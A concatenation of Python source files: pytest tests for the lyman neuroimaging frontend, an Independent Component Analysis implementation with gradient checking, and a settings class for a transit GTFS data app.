subjects = frontend.subjects("group_one")
assert subjects == ["subj01"]
subjects = frontend.subjects(["group_one"])
assert subjects == ["subj01"]
with pytest.raises(RuntimeError):
frontend.subjects(["subj01", "subj03"])
with pytest.raises(RuntimeError):
frontend.subjects(["subj01", "subj02"], ["sess01", "sess02"])
with pytest.raises(RuntimeError):
frontend.subjects(["subj02"], ["sess01", "sess02"])
del os.environ["LYMAN_DIR"]
subjects = frontend.subjects()
assert subjects == []
def test_execute(self, lyman_dir, execdir):
info = frontend.info(lyman_dir=lyman_dir)
def f(x):
return x ** 2
assert f(2) == 4
n1 = Node(Function("x", "y", f), "n1")
n2 = Node(Function("x", "y", f), "n2")
wf = Workflow("test", base_dir=info.cache_dir)
wf.connect(n1, "y", n2, "x")
wf.inputs.n1.x = 2
cache_dir = execdir.join("cache").join("test")
class args(object):
graph = False
n_procs = 1
debug = False
clear_cache = True
execute = True
frontend.execute(wf, args, info)
assert not cache_dir.exists()
args.debug = True
frontend.execute(wf, args, info)
assert cache_dir.exists()
args.debug = False
info.remove_cache = False
frontend.execute(wf, args, info)
assert cache_dir.exists()
args.execute = False
res = frontend.execute(wf, args, info)
assert res is None
args.execute = True
fname = str(execdir.join("graph").join("workflow.dot"))
args.graph = fname
res = frontend.execute(wf, args, info)
assert res == fname[:-4] + ".svg"
args.graph = True
args.stage = "preproc"
res = frontend.execute(wf, args, info)
assert res == cache_dir.join("preproc.svg")
def test_load_info_from_module(self, execdir):
lyman_dir = execdir.mkdir("lyman")
# Write a Python module to test import from disk
module_text = dedent("""
foo = "a"
bar = 3
buz = [1, 2, 3]
""")
module_fname = lyman_dir.join("test.py")
with open(module_fname, "w") as fid:
fid.write(module_text)
expected = dict(foo="a", bar=3, buz=[1, 2, 3])
module_vars = frontend.load_info_from_module("test", lyman_dir)
assert module_vars == expected
# Remove the file to test import from memory
os.remove(module_fname)
module_vars = frontend.load_info_from_module("test", lyman_dir)
assert module_vars == expected
def test_check_extra_vars(self):
with pytest.raises(RuntimeError):
module_vars = {"not_a_valid_trait": True}
frontend.check_extra_vars(module_vars, frontend.ProjectInfo) | lyman/tests/test_frontend.py | import os
from textwrap import dedent
from nipype import Workflow, Node, Function
from traits.api import TraitError
import pytest
from .. import frontend
class TestFrontend(object):
@pytest.fixture
def lyman_dir(self, execdir):
lyman_dir = execdir.mkdir("lyman")
os.environ["LYMAN_DIR"] = str(lyman_dir)
scans = dedent("""
subj01:
sess01:
exp_alpha: [run01, run02]
sess02:
exp_alpha: [run01]
exp_beta: [run01, run02]
subj02:
sess01:
exp_beta: [run01, run03]
""")
project = dedent("""
data_dir = "../datums"
voxel_size = (2.5, 2.5, 2.5)
""")
experiment = dedent("""
tr = .72
smooth_fwhm = 2.5
""")
model = dedent("""
smooth_fwhm = 4
contrasts = [("a-b", ["a", "b"], [1, -1])]
""")
model_bad = dedent("""
contrasts = ["a-b", "b-a"]
""")
with open(lyman_dir.join("scans.yaml"), "w") as fid:
fid.write(scans)
with open(lyman_dir.join("project.py"), "w") as fid:
fid.write(project)
with open(lyman_dir.join("exp_alpha.py"), "w") as fid:
fid.write(experiment)
with open(lyman_dir.join("exp_alpha-model_a.py"), "w") as fid:
fid.write(model)
with open(lyman_dir.join("exp_alpha-model_b.py"), "w") as fid:
fid.write(model_bad)
yield lyman_dir
lyman_dir.remove()
def test_info(self, lyman_dir, execdir):
info = frontend.info()
assert info.data_dir == execdir.join("datums")
assert info.scan_info == {
"subj01": {"sess01": {"exp_alpha": ["run01", "run02"]},
"sess02": {"exp_alpha": ["run01"],
"exp_beta": ["run01", "run02"]}},
"subj02": {"sess01": {"exp_beta": ["run01", "run03"]}},
}
model_traits = frontend.ModelInfo().trait_get()
assert info.trait_get(*model_traits.keys()) == model_traits
info = frontend.info("exp_alpha")
assert info.tr == .72
assert info.smooth_fwhm == 2.5
info = frontend.info("exp_alpha", "model_a")
assert info.smooth_fwhm == 4
assert info.contrasts == [("a-b", ["a", "b"], [1, -1])]
with pytest.raises(TraitError):
frontend.info("exp_alpha", "model_b")
with pytest.raises(RuntimeError):
frontend.info(model="model_b")
lyman_dir_new = execdir.join("lyman2")
lyman_dir.move(lyman_dir_new)
info = frontend.info(lyman_dir=str(lyman_dir_new))
assert info.voxel_size == (2.5, 2.5, 2.5)
lyman_dir_new.move(execdir.join("lyman"))
del os.environ["LYMAN_DIR"]
info = frontend.info()
def test_subjects(self, lyman_dir, execdir):
subjects = frontend.subjects()
assert subjects == ["subj01", "subj02"]
subjects = frontend.subjects("subj01")
assert subjects == ["subj01"]
subjects = frontend.subjects(["subj01"])
assert subjects == ["subj01"]
subjects = frontend.subjects(["subj01", "subj02"])
assert subjects == ["subj01", "subj02"]
subj_file = lyman_dir.join("group_one.txt")
with open(subj_file, "w") as fid:
fid.write("subj01")
subjects = frontend.subjects("group_one")
assert subjects == ["subj01"]
subjects = frontend.subjects(["group_one"])
assert subjects == ["subj01"]
with pytest.raises(RuntimeError):
frontend.subjects(["subj01", "subj03"])
with pytest.raises(RuntimeError):
frontend.subjects(["subj01", "subj02"], ["sess01", "sess02"])
with pytest.raises(RuntimeError):
frontend.subjects(["subj02"], ["sess01", "sess02"])
del os.environ["LYMAN_DIR"]
subjects = frontend.subjects()
assert subjects == []
def test_execute(self, lyman_dir, execdir):
info = frontend.info(lyman_dir=lyman_dir)
def f(x):
return x ** 2
assert f(2) == 4
n1 = Node(Function("x", "y", f), "n1")
n2 = Node(Function("x", "y", f), "n2")
wf = Workflow("test", base_dir=info.cache_dir)
wf.connect(n1, "y", n2, "x")
wf.inputs.n1.x = 2
cache_dir = execdir.join("cache").join("test")
class args(object):
graph = False
n_procs = 1
debug = False
clear_cache = True
execute = True
frontend.execute(wf, args, info)
assert not cache_dir.exists()
args.debug = True
frontend.execute(wf, args, info)
assert cache_dir.exists()
args.debug = False
info.remove_cache = False
frontend.execute(wf, args, info)
assert cache_dir.exists()
args.execute = False
res = frontend.execute(wf, args, info)
assert res is None
args.execute = True
fname = str(execdir.join("graph").join("workflow.dot"))
args.graph = fname
res = frontend.execute(wf, args, info)
assert res == fname[:-4] + ".svg"
args.graph = True
args.stage = "preproc"
res = frontend.execute(wf, args, info)
assert res == cache_dir.join("preproc.svg")
def test_load_info_from_module(self, execdir):
lyman_dir = execdir.mkdir("lyman")
# Write a Python module to test import from disk
module_text = dedent("""
foo = "a"
bar = 3
buz = [1, 2, 3]
""")
module_fname = lyman_dir.join("test.py")
with open(module_fname, "w") as fid:
fid.write(module_text)
expected = dict(foo="a", bar=3, buz=[1, 2, 3])
module_vars = frontend.load_info_from_module("test", lyman_dir)
assert module_vars == expected
# Remove the file to test import from memory
os.remove(module_fname)
module_vars = frontend.load_info_from_module("test", lyman_dir)
assert module_vars == expected
def test_check_extra_vars(self):
with pytest.raises(RuntimeError):
module_vars = {"not_a_valid_trait": True}
frontend.check_extra_vars(module_vars, frontend.ProjectInfo) | 0.449151 | 0.491273 |
import sys
import numpy as np
import pylab as pl
import scipy.io
import scipy.linalg
from UFL.common import DataInputOutput, DataNormalization, AuxFunctions, Visualization
from UFL.PCA import PCA
ICA_COST_FUNCTION_ICA = 0;
ICA_COST_FUNCTION_RICA = 1;
ICA_COST_FUNCTIONS = [ICA_COST_FUNCTION_ICA, ICA_COST_FUNCTION_RICA]
class ICA:
'''
Independent Component Analysis
Implementation is similar to sparse Autoencoder network where the input
data is projected on a lower dimensional space of bases which are then
projected back to the output layer with the dimension same as the original data.
Output of the network is the same as the input (i.e. reconstructive)
Cost function is the L1 norm between the input and output layers with an
additional constraint of the orthagonality of basis vectors.
'''
def __init__(self,
sizeLayers,
alpha=0.5,
epsilon=1e-6,
maxIterations=3000,
costFunction=ICA_COST_FUNCTION_RICA,
debug=0):
'''
Initialization function of the ICA class
Arguments
sizeLayers : Size of the layers, must be in the form [Input layer size, hidden layer size, output layer size]
where output layer size = input layer size
alpha : Backtracking line search learning rate, default is 0.5
epsilon : L1-regularisation epsilon |Wx| ~ sqrt((Wx).^2 + epsilon), default is 1e-6
maxIterations : Backtracking line search maximum number of iterations, default is 30000
costFunction : Cost function, [ICA_COST_FUNCTION_ICA, ICA_COST_FUNCTION_RICA*]
debug : Debugging flag
'''
self.isInitialized = False;
self.debug = debug;
self.inputDim = sizeLayers[0];
self.featureDim = sizeLayers[1];
self.costFunction = costFunction;
self.alpha = alpha;
self.epsilon = epsilon;
self.maxIterations = maxIterations;
assert self.inputDim>0, 'ERROR:ICA:init: Input size must be >0'
assert self.featureDim>0, 'ERROR:ICA:init: Feature size must be >0'
assert self.costFunction in ICA_COST_FUNCTIONS, 'ERROR:ICA:init: Cost function invalid'
self.params = np.random.rand(self.featureDim*self.inputDim);
self.weightMatrixPrototype = [self.featureDim, self.inputDim];
if debug:
print ('DEBUG:ICA:init: initialized for inputDim: ', self.inputDim);
print ('DEBUG:ICA:init: initialized for featureDim: ', self.featureDim);
print ('DEBUG:ICA:init: initialized for costFunction: ', self.costFunction);
print ('DEBUG:ICA:init: initialized for alpha: ', self.alpha);
print ('DEBUG:ICA:init: initialized for epsilon: ', self.epsilon);
print ('DEBUG:ICA:init: initialized for maxIterations: ', self.maxIterations);
print()
self.isInitialized = True;
def rollParameters(self, theta):
'''
Converts a given parameter matrix into a vector
Arguments
theta : parameter matrix
Returns
theta : parameter vector
'''
assert self.isInitialized, 'ERROR:ICA:rollParameters: The instance is not properly initialized'
return theta.flatten();
def unrollParameters(self, theta):
'''
Converts the vectorized parameters into matrix
Arguments
theta : parameter vector
Returns
theta : parameter matrix
'''
assert self.isInitialized, 'ERROR:ICA:unrollParameters: The instance is not properly initialized'
assert len(theta)==self.featureDim*self.inputDim, 'ERROR:ICA:unrollParameters: dimensions of given parameters do not match internal parameter structure'
return np.reshape(theta, self.weightMatrixPrototype);
def getWeights(self):
'''
Returns the ICA weight matrix
'''
return self.unrollParameters(self.params)
def computeCost(self, theta, X):
'''
Computes the value of the ICA objective function for given features
(theta) and data matrix (X). Two cost functions are implemented:
ICA_COST_FUNCTION_ICA f = || theta*X ||_1
ICA_COST_FUNCTION_RICA f = lambda * || theta*X ||_1 + 1/2(|| theta'*theta*X - X ||_2)^2
where
|| . ||_1 denotes L1 norm and || . ||_2 denotes L2 norm
In addition to the sparsity cost in ICA, RICA employs a reconstruction cost that drives orthanormality
of basis vectors without imposing a hard constraint (as done in ICA)
Arguments
theta : function parameters in the form (feature dim * input dim, )
X : data matrix in the form [input dim, number of samples]
Returns
f : computed cost (floating point number)
'''
assert self.isInitialized, 'ERROR:ICA:computeCost: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:computeCost: Dimensions of given data do not match with the number of parameters'
f = 0;
nSamples = X.shape[1];
weightMatrix = self.unrollParameters(theta);
if self.costFunction==ICA_COST_FUNCTION_ICA:
aux1 = np.dot(weightMatrix, X);
aux2 = np.sqrt((aux1**2) + self.epsilon);
f = np.sum(aux2)/nSamples;
elif self.costFunction==ICA_COST_FUNCTION_RICA:
aux1 = np.sqrt(( np.dot(weightMatrix, X)**2) + self.epsilon);
aux2 = np.dot(np.dot(np.transpose(weightMatrix), weightMatrix), X) - X;
f = 1.0/nSamples * ( np.sum(aux1) + np.sum(aux2**2));
else:
'ERROR:ICA:computeCost: Cost function invalid!'
sys.exit();
return f
def computeGradient(self, theta, X):
'''
Computes gradients of the ICA objective function for given features
(theta) and data matrix (X). Gradients for two cost functions are implemented:
ICA_COST_FUNCTION_ICA g = (theta*X)/sqrt(theta*X + epsilon)*X'
ICA_COST_FUNCTION_RICA g = (theta*X)/sqrt(theta*X + epsilon)*X' +
theta*(theta'*theta*X - X)*X' +
theta*X*(theta'*theta*X - X)'
Arguments
theta : function parameters in the form [feature dim, input dim]
X : data matrix in the form [input dim, number of samples]
Returns
g : computed gradients of parameters array in the form (feature dim * input dim,)
'''
assert self.isInitialized, 'ERROR:ICA:computeGradient: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:computeCost: Dimensions of given data do not match with the number of parameters'
nSamples = X.shape[1];
weightMatrix = self.unrollParameters(theta);
if self.costFunction==ICA_COST_FUNCTION_ICA:
aux1 = np.dot(weightMatrix, X);
aux2 = np.sqrt((aux1**2) + self.epsilon);
aux3 = np.dot((aux1/aux2), np.transpose(X));
grad = (aux3/nSamples);
elif self.costFunction==ICA_COST_FUNCTION_RICA:
aux1 = np.sqrt(( np.dot(weightMatrix, X)**2) + self.epsilon);
aux2 = np.dot(np.dot(np.transpose(weightMatrix), weightMatrix), X) - X;
grad_term1 = 1.0/nSamples * np.dot((np.dot(weightMatrix, X)/aux1), np.transpose(X));
grad_term2 = 2.0/nSamples * ( np.dot(np.dot(weightMatrix, aux2), np.transpose(X)) + np.dot(np.dot(weightMatrix, X), np.transpose(aux2)) );
grad = grad_term1 + grad_term2;
else:
'ERROR:ICA:computeCost: Cost function invalid!'
sys.exit();
return grad.flatten();
def testGradient(self, X):
'''
Tests the analytical gradient computation by comparing it with the numerical gradients
Arguments
X : data matrix in the form [input dim, number of samples]
Returns
result : 0 if passed, -1 if failed
'''
assert self.isInitialized, 'ERROR:ICA:testGradient: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:testGradient: Dimensions of given data do not match with the number of parameters'
if self.debug: print ('DEBUG:ICA:testGradient: Testing gradient computation...')
result = 0;
grad = self.computeGradient(self.params, X);
numGrad = AuxFunctions.computeNumericalGradient( func=self.computeCost, params=self.params, args=((X,)) );
errorGrad = np.sqrt(np.sum((grad - numGrad)**2));
if errorGrad<1e-4:
if self.debug:
print ('DEBUG:ICA:testGradient:Gradient error: ', errorGrad)
print ('DEBUG:ICA:testGradient:Gradient check PASSED!')
print()
result = 0;
else:
if self.debug:
print ('DEBUG:ICA:testGradient:Gradient error: ', errorGrad)
print ('DEBUG:ICA:testGradient:Gradient check FAILED!')
print()
result = -1;
return result
def optimizeParameters(self, X):
'''
Optimize for the orthonormal ICA objective, enforcing the orthonormality
constraint. Gradient descent with a backtracking line search is used.
Arguments
X : data matrix in the form [input dim, number of samples]
Returns
result : result of the optimization (success or failure)
'''
assert self.isInitialized, 'ERROR:ICA:optimizeParameters: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:optimizeParameters: Dimensions of given data do not match with the number of parameters'
result = 0;
weightMatrix = self.unrollParameters(self.params);
grad = self.computeGradient(self.params, X);
print ('Iter', '\t', 'Cost', '\t', 't');
# Initialize some parameters for the backtracking line search
t = 0.02;
lastCost = 1e40;
# Do iterations of gradient descent
for iteration in range(self.maxIterations):
grad = self.unrollParameters(grad);
newCost = np.Inf;
linearDelta = np.sum(grad**2);
# Perform the backtracking line search
while 1:
considerWeightMatrix = weightMatrix - self.alpha * grad;
# Project considerWeightMatrix such that it satisfies WW^T = I
aux1 = np.dot(considerWeightMatrix, np.transpose(considerWeightMatrix));
aux2 = scipy.linalg.sqrtm(aux1)
considerWeightMatrix = np.dot(np.linalg.inv(aux2), considerWeightMatrix);
if self.debug:
# Verify that the projection is correct
temp = np.dot(considerWeightMatrix, np.transpose(considerWeightMatrix));
temp = temp - np.eye(self.featureDim);
if not np.sum(temp**2) < 1e-23:
print ('WARNING:ICA:optimizeParameters: considerWeightMatrix does not satisfy WW^T = I. Check your projection again');
result = -1;
considerWeightMatrix_l = self.rollParameters(considerWeightMatrix);
newGrad = self.computeGradient(considerWeightMatrix_l, X);
newCost = self.computeCost(considerWeightMatrix_l, X);
if newCost > (lastCost - self.alpha * t * linearDelta):
t = 0.9 * t;
else:
break;
lastCost = newCost;
weightMatrix = considerWeightMatrix;
print (iteration, '\t', round(newCost, 4), '\t', t);
t = 1.1 * t;
cost = newCost;
grad = newGrad;
if self.debug>1:
# Visualize the learned bases as we go along
if np.mod(iteration, 1000) == 0:
# Visualize the learned bases over time in different figures so
# we can get a feel for the slow rate of convergence
Visualization.displayColorNetwork(np.transpose(weightMatrix));
self.params = self.rollParameters(weightMatrix);
return result
if __name__ == '__main__':
# --------------------------
# Example:
# Learning orthagonal bases of coloured image patches
# --------------------------
if 1:
filename_data = '/home/cem/develop/UFL/data/stlSampledPatches.mat';
else:
filename_data = 'C://develop//python//UFL//data//stlSampledPatches.mat';
doTest = True; # Test gradient computation?
debug = 1;
numPatches = 20000;
imageChannels = 3;
patchDim = 8;
inputDim = patchDim * patchDim * imageChannels;
numFeatures = 121;
alpha = 0.5;
epsilon = 1e-6;
maxIterations = 30000;
costFunction = ICA_COST_FUNCTION_ICA;
if doTest:
inputDim_test = 5;
numFeatures_test = 4;
numPatches_test = 10;
costFunction = ICA_COST_FUNCTION_ICA;
sizeLayers = [inputDim_test, numFeatures_test];
patches_test = np.random.rand(inputDim_test, numPatches_test);
ica_test = ICA(sizeLayers, costFunction=costFunction, debug=2);
print ('Checking gradient...');
ica_test.testGradient(patches_test);
# Read data from file
data = scipy.io.loadmat(filename_data);
patches = data['patches'][:, 0:numPatches];
if debug>1:
Visualization.displayColorNetwork(patches[:, 0:100]);
# Normalize data: ZCA whiten patches
instance_pca = PCA.PCA(inputDim, 0.99, debug);
patches_ZCAwhite = instance_pca.doZCAWhitening(patches);
if debug:
print ('Number of samples: ', patches.shape[1]);
sizeLayers = [inputDim, numFeatures];
instance_ica = ICA(sizeLayers,
alpha=alpha,
epsilon=epsilon,
maxIterations=maxIterations,
costFunction=costFunction,
debug=debug);
success = instance_ica.optimizeParameters(patches_ZCAwhite);
# Visualize the learned bases
weightMatrix = instance_ica.getWeights();
Visualization.displayColorNetwork(np.transpose(weightMatrix)); | ICA/ICA.py | import sys
import numpy as np
import pylab as pl
import scipy.io
import scipy.linalg
from UFL.common import DataInputOutput, DataNormalization, AuxFunctions, Visualization
from UFL.PCA import PCA
ICA_COST_FUNCTION_ICA = 0;
ICA_COST_FUNCTION_RICA = 1;
ICA_COST_FUNCTIONS = [ICA_COST_FUNCTION_ICA, ICA_COST_FUNCTION_RICA]
class ICA:
'''
Independent Component Analysis
Implementation is similar to sparse Autoencoder network where the input
data is projected on a lower dimensional space of bases which are then
projected back to the output layer with the dimension same as the original data.
Output of the network is the same as the input (i.e. reconstructive)
Cost function is the L1 norm between the input and output layers with an
additional constraint of the orthagonality of basis vectors.
'''
def __init__(self,
sizeLayers,
alpha=0.5,
epsilon=1e-6,
maxIterations=3000,
costFunction=ICA_COST_FUNCTION_RICA,
debug=0):
'''
Initialization function of the ICA class
Arguments
sizeLayers : Size of the layers, must be in the form [Input layer size, hidden layer size, output layer size]
where output layer size = input layer size
alpha : Backtracking line search learning rate, default is 0.5
epsilon : L1-regularisation epsilon |Wx| ~ sqrt((Wx).^2 + epsilon), default is 1e-6
maxIterations : Backtracking line search maximum number of iterations, default is 30000
costFunction : Cost function, [ICA_COST_FUNCTION_ICA, ICA_COST_FUNCTION_RICA*]
debug : Debugging flag
'''
self.isInitialized = False;
self.debug = debug;
self.inputDim = sizeLayers[0];
self.featureDim = sizeLayers[1];
self.costFunction = costFunction;
self.alpha = alpha;
self.epsilon = epsilon;
self.maxIterations = maxIterations;
assert self.inputDim>0, 'ERROR:ICA:init: Input size must be >0'
assert self.featureDim>0, 'ERROR:ICA:init: Feature size must be >0'
assert self.costFunction in ICA_COST_FUNCTIONS, 'ERROR:ICA:init: Cost function invalid'
self.params = np.random.rand(self.featureDim*self.inputDim);
self.weightMatrixPrototype = [self.featureDim, self.inputDim];
if debug:
print ('DEBUG:ICA:init: initialized for inputDim: ', self.inputDim);
print ('DEBUG:ICA:init: initialized for featureDim: ', self.featureDim);
print ('DEBUG:ICA:init: initialized for costFunction: ', self.costFunction);
print ('DEBUG:ICA:init: initialized for alpha: ', self.alpha);
print ('DEBUG:ICA:init: initialized for epsilon: ', self.epsilon);
print ('DEBUG:ICA:init: initialized for maxIterations: ', self.maxIterations);
print()
self.isInitialized = True;
def rollParameters(self, theta):
'''
Converts a given parameter matrix into a vector
Arguments
theta : parameter matrix
Returns
theta : parameter vector
'''
assert self.isInitialized, 'ERROR:ICA:rollParameters: The instance is not properly initialized'
return theta.flatten();
def unrollParameters(self, theta):
'''
Converts the vectorized parameters into matrix
Arguments
theta : parameter vector
Returns
theta : parameter matrix
'''
assert self.isInitialized, 'ERROR:ICA:unrollParameters: The instance is not properly initialized'
assert len(theta)==self.featureDim*self.inputDim, 'ERROR:ICA:unrollParameters: dimensions of given parameters do not match internal parameter structure'
return np.reshape(theta, self.weightMatrixPrototype);
def getWeights(self):
'''
Returns the ICA weight matrix
'''
return self.unrollParameters(self.params)
def computeCost(self, theta, X):
'''
Computes the value of the ICA objective function for given features
(theta) and data matrix (X). Two cost functions are implemented:
ICA_COST_FUNCTION_ICA f = || theta*X ||_1
ICA_COST_FUNCTION_RICA f = lambda * || theta*X ||_1 + 1/2(|| theta'*theta*X - X ||_2)^2
where
|| . ||_1 denotes L1 norm and || . ||_2 denotes L2 norm
In addition to the sparsity cost in ICA, RICA employs a reconstruction cost that drives orthanormality
of basis vectors without imposing a hard constraint (as done in ICA)
Arguments
theta : function parameters in the form (feature dim * input dim, )
X : data matrix in the form [input dim, number of samples]
Returns
f : computed cost (floating point number)
'''
assert self.isInitialized, 'ERROR:ICA:computeCost: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:computeCost: Dimensions of given data do not match with the number of parameters'
f = 0;
nSamples = X.shape[1];
weightMatrix = self.unrollParameters(theta);
if self.costFunction==ICA_COST_FUNCTION_ICA:
aux1 = np.dot(weightMatrix, X);
aux2 = np.sqrt((aux1**2) + self.epsilon);
f = np.sum(aux2)/nSamples;
elif self.costFunction==ICA_COST_FUNCTION_RICA:
aux1 = np.sqrt(( np.dot(weightMatrix, X)**2) + self.epsilon);
aux2 = np.dot(np.dot(np.transpose(weightMatrix), weightMatrix), X) - X;
f = 1.0/nSamples * ( np.sum(aux1) + np.sum(aux2**2));
else:
'ERROR:ICA:computeCost: Cost function invalid!'
sys.exit();
return f
def computeGradient(self, theta, X):
'''
Computes gradients of the ICA objective function for given features
(theta) and data matrix (X). Gradients for two cost functions are implemented:
ICA_COST_FUNCTION_ICA g = (theta*X)/sqrt(theta*X + epsilon)*X'
ICA_COST_FUNCTION_RICA g = (theta*X)/sqrt(theta*X + epsilon)*X' +
theta*(theta'*theta*X - X)*X' +
theta*X*(theta'*theta*X - X)'
Arguments
theta : function parameters in the form [feature dim, input dim]
X : data matrix in the form [input dim, number of samples]
Returns
g : computed gradients of parameters array in the form (feature dim * input dim,)
'''
assert self.isInitialized, 'ERROR:ICA:computeGradient: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:computeCost: Dimensions of given data do not match with the number of parameters'
nSamples = X.shape[1];
weightMatrix = self.unrollParameters(theta);
if self.costFunction==ICA_COST_FUNCTION_ICA:
aux1 = np.dot(weightMatrix, X);
aux2 = np.sqrt((aux1**2) + self.epsilon);
aux3 = np.dot((aux1/aux2), np.transpose(X));
grad = (aux3/nSamples);
elif self.costFunction==ICA_COST_FUNCTION_RICA:
aux1 = np.sqrt(( np.dot(weightMatrix, X)**2) + self.epsilon);
aux2 = np.dot(np.dot(np.transpose(weightMatrix), weightMatrix), X) - X;
grad_term1 = 1.0/nSamples * np.dot((np.dot(weightMatrix, X)/aux1), np.transpose(X));
grad_term2 = 2.0/nSamples * ( np.dot(np.dot(weightMatrix, aux2), np.transpose(X)) + np.dot(np.dot(weightMatrix, X), np.transpose(aux2)) );
grad = grad_term1 + grad_term2;
else:
'ERROR:ICA:computeCost: Cost function invalid!'
sys.exit();
return grad.flatten();
def testGradient(self, X):
'''
Tests the analytical gradient computation by comparing it with the numerical gradients
Arguments
X : data matrix in the form [input dim, number of samples]
Returns
result : 0 if passed, -1 if failed
'''
assert self.isInitialized, 'ERROR:ICA:testGradient: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:testGradient: Dimensions of given data do not match with the number of parameters'
if self.debug: print ('DEBUG:ICA:testGradient: Testing gradient computation...')
result = 0;
grad = self.computeGradient(self.params, X);
numGrad = AuxFunctions.computeNumericalGradient( func=self.computeCost, params=self.params, args=((X,)) );
errorGrad = np.sqrt(np.sum((grad - numGrad)**2));
if errorGrad<1e-4:
if self.debug:
print ('DEBUG:ICA:testGradient:Gradient error: ', errorGrad)
print ('DEBUG:ICA:testGradient:Gradient check PASSED!')
print()
result = 0;
else:
if self.debug:
print ('DEBUG:ICA:testGradient:Gradient error: ', errorGrad)
print ('DEBUG:ICA:testGradient:Gradient check FAILED!')
print()
result = -1;
return result
def optimizeParameters(self, X):
'''
Optimize for the orthonormal ICA objective, enforcing the orthonormality
constraint. Gradient descent with a backtracking line search is used.
Arguments
X : data matrix in the form [input dim, number of samples]
Returns
result : result of the optimization (success or failure)
'''
assert self.isInitialized, 'ERROR:ICA:optimizeParameters: The instance is not properly initialized'
assert X.shape[0]==self.inputDim, 'ERROR:ICA:optimizeParameters: Dimensions of given data do not match with the number of parameters'
result = 0;
weightMatrix = self.unrollParameters(self.params);
grad = self.computeGradient(self.params, X);
print ('Iter', '\t', 'Cost', '\t', 't');
# Initialize some parameters for the backtracking line search
t = 0.02;
lastCost = 1e40;
# Do iterations of gradient descent
for iteration in range(self.maxIterations):
grad = self.unrollParameters(grad);
newCost = np.Inf;
linearDelta = np.sum(grad**2);
# Perform the backtracking line search
while 1:
considerWeightMatrix = weightMatrix - self.alpha * grad;
# Project considerWeightMatrix such that it satisfies WW^T = I
aux1 = np.dot(considerWeightMatrix, np.transpose(considerWeightMatrix));
aux2 = scipy.linalg.sqrtm(aux1)
considerWeightMatrix = np.dot(np.linalg.inv(aux2), considerWeightMatrix);
if self.debug:
# Verify that the projection is correct
temp = np.dot(considerWeightMatrix, np.transpose(considerWeightMatrix));
temp = temp - np.eye(self.featureDim);
if not np.sum(temp**2) < 1e-23:
print ('WARNING:ICA:optimizeParameters: considerWeightMatrix does not satisfy WW^T = I. Check your projection again');
result = -1;
considerWeightMatrix_l = self.rollParameters(considerWeightMatrix);
newGrad = self.computeGradient(considerWeightMatrix_l, X);
newCost = self.computeCost(considerWeightMatrix_l, X);
if newCost > (lastCost - self.alpha * t * linearDelta):
t = 0.9 * t;
else:
break;
lastCost = newCost;
weightMatrix = considerWeightMatrix;
print (iteration, '\t', round(newCost, 4), '\t', t);
t = 1.1 * t;
cost = newCost;
grad = newGrad;
if self.debug>1:
# Visualize the learned bases as we go along
if np.mod(iteration, 1000) == 0:
# Visualize the learned bases over time in different figures so
# we can get a feel for the slow rate of convergence
Visualization.displayColorNetwork(np.transpose(weightMatrix));
self.params = self.rollParameters(weightMatrix);
return result
if __name__ == '__main__':
# --------------------------
# Example:
# Learning orthagonal bases of coloured image patches
# --------------------------
if 1:
filename_data = '/home/cem/develop/UFL/data/stlSampledPatches.mat';
else:
filename_data = 'C://develop//python//UFL//data//stlSampledPatches.mat';
doTest = True; # Test gradient computation?
debug = 1;
numPatches = 20000;
imageChannels = 3;
patchDim = 8;
inputDim = patchDim * patchDim * imageChannels;
numFeatures = 121;
alpha = 0.5;
epsilon = 1e-6;
maxIterations = 30000;
costFunction = ICA_COST_FUNCTION_ICA;
if doTest:
inputDim_test = 5;
numFeatures_test = 4;
numPatches_test = 10;
costFunction = ICA_COST_FUNCTION_ICA;
sizeLayers = [inputDim_test, numFeatures_test];
patches_test = np.random.rand(inputDim_test, numPatches_test);
ica_test = ICA(sizeLayers, costFunction=costFunction, debug=2);
print ('Checking gradient...');
ica_test.testGradient(patches_test);
# Read data from file
data = scipy.io.loadmat(filename_data);
patches = data['patches'][:, 0:numPatches];
if debug>1:
Visualization.displayColorNetwork(patches[:, 0:100]);
# Normalize data: ZCA whiten patches
instance_pca = PCA.PCA(inputDim, 0.99, debug);
patches_ZCAwhite = instance_pca.doZCAWhitening(patches);
if debug:
print ('Number of samples: ', patches.shape[1]);
sizeLayers = [inputDim, numFeatures];
instance_ica = ICA(sizeLayers,
alpha=alpha,
epsilon=epsilon,
maxIterations=maxIterations,
costFunction=costFunction,
debug=debug);
success = instance_ica.optimizeParameters(patches_ZCAwhite);
# Visualize the learned bases
weightMatrix = instance_ica.getWeights();
Visualization.displayColorNetwork(np.transpose(weightMatrix)); | 0.417509 | 0.558508 |
import os
import sys
import logging
import pytz
__author__ = "<NAME>"
class Settings:
"""Class to hold settings and paths
Attributes:
AppName: Application name
FooterLine: Frontend footer line
PyPath: computed path to the current script folder
ProjPath: project path, defaults to <PyPath>/..
PyVersion: major version of the Python interpreter (2 or 3)
S3BucketName: S3 bucket name
MBTA_TZ: time zone of MBTA GTFS feeds
MaxAbsDelay: maximum absolute value of valid delay calculation result,
if less than or equal to 0 then any value is considered valid
GTFS_ObsoleteAfterDays: number of days between the latest delays
calculation and the last day of a GTFS feed coverage for the feed to
be considered obsolete and to be stored compressed in S3
NumPartitions: used in Spark tasks to partition dataframe
ConsoleLogger: A logger writing to console
StaticDataPath: Path to static data in CSV local files (if they exist);
when set, indicates that only the data from those files should be used
"""
def __init__(self):
"""Initializes the instance"""
self.AppName = "my best transit app"
self.AppDesc = "The application collects General Transit Feed Specification (GTFS) Real-Time (RT) vehicle positions feeds (every 5 seconds) and GTFS schedule tables (once a day and only if there is an update)"
self.FooterLine = "<NAME>, Insight Data Engineering, Boston MA, Winter 2020"
self.PyPath = os.path.abspath(os.path.dirname(__file__))
self.ProjPath = os.path.join(self.PyPath, "..")
self.PyVersion = sys.version_info[0]
self.S3BucketName = "alxga-insde"
self.MBTA_TZ = pytz.timezone("US/Eastern")
self.MaxAbsDelay = 0
self.GTFS_ObsoleteAfterDays = 10
self.NumPartitions = 100
self.ConsoleLogger = logging.getLogger("console")
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter("%(message)s"))
